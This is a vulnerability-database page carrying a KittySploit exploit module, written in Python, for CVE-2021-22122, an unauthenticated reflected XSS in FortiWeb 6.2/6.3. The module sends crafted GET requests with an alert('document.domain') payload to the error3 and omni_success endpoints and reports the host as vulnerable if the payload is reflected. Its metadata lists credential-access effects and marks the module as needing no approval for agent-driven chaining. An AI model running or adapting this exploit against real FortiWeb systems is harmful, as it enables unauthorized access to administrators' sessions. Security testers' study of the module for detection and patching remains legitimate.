Lucene search
+L

FortiWeb Reflected XSS (CVE-2021-22122)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 5 Views

Unauthenticated reflected XSS in FortiWeb via error3 and omni_success API endpoints.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FortiWeb reflected XSS (CVE-2021-22122)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'FortiWeb Reflected XSS (CVE-2021-22122)',
        'description': (
            'Exploits CVE-2021-22122 in FortiWeb 6.2/6.3: unauthenticated reflected XSS '
            'via error3 and omni_success API endpoints.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-22122'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-22122'],
        'tags': ['fortiweb', 'fortinet', 'xss', 'vkev'],
        'agent': {
            'risk': 'medium',
            'effects': ['credential_access'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['admin_surface', 'risk_signals'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_22122_detect']},
        },
    }

    xss_payload = OptString("';alert('document.domain');//", 'XSS probe string', required=False)

    def check(self):
        probe = str(self.xss_payload or "';alert('document.domain');//")
        for path in (
            f'/error3?msg=30&data={probe}',
            f'/omni_success?cmdb_edit_path=");alert(\'document.domain\');//',
        ):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            body = (r.text or '') if r else ''
            if r and r.status_code == 200 and "alert('document.domain')" in body:
                return {'vulnerable': True, 'reason': f'FortiWeb XSS via {path.split("?")[0]}', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'FortiWeb XSS not reflected', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('FortiWeb not vulnerable')
            return False
        print_success('Reflected XSS confirmed — use with authenticated admin session for impact')
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.1
EPSS0.1052
SSVC
5